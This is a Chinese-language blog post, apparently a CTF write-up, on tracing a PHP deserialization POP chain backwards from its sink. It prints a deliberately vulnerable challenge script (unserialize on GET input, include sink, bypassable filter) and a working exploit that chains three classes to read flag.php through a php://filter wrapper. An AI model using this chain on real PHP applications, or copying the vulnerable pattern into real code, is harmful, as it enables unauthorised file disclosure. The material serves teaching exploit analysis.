Ez反序列化pop链构造思路

关于PHP反序列化的基础,大家可以自行学习。本次练习的题目比较简单,主要是利用简单题目讲解我自己对“如何寻找pop链”的理解。

废话少说,直接看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

//flag is in flag.php

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);}
}

其实我在做序列化题的时候,习惯性的会先找两个点:

1.入口点

也就是我们参数的接收点,以上题为例就是:@unserialize($_GET['pop']);

2.利用点

这个顾名思义也就是我们能够进行利用的店,以上题为例就是:include($value);

重点放在利用点上,我一般比较喜欢从利用点进行反推。

以上题为例,我们可以有如下思路:

首先我们知道利用点在append()方法的传参点。那么我们首先找能够进行调用append()方法的点。于是我们就锁定了Modifier()类中的__invoke()魔术方法。

__invoke() //调用函数的方式调用一个对象时的回应方法

__get() //用于从不可访问的属性读取数据

那谁能调用这个Modifier()类中的__invoke()魔术方法呢?

答案是Test()类中的__get()方法中所具有的return

那谁又能调用Test()类中的__get()方法呢?

就是Show()类中的__tostring()

那这个tostring()又该怎么调用呢?

给他传一个对象Show(),然后重写这个对象的$source变量

就这样我们简单的推解出了整条pop链:

Modifier(__invoke)—->Test(__get)—>Show(__tostring)—>Show(__construct)

这个链条是按倒叙来进行推理的,那么我们在利用的时候要反过来正向利用。

编写代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Modifier{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a->source = $b;
$b->str = $c;
$c->p = $d;

print(urlencode(serialize($a)));

其实最终利用代码怎么写完全取决于个人习惯,主要的还是如何寻找利用链的思路。

希望这种反推的思路能够帮助大家。


Ez反序列化pop链构造思路
http://example.com/2023/07/21/Ez反序列化pop链构造思路/
作者
Yuanyi
发布于
2023年7月21日
许可协议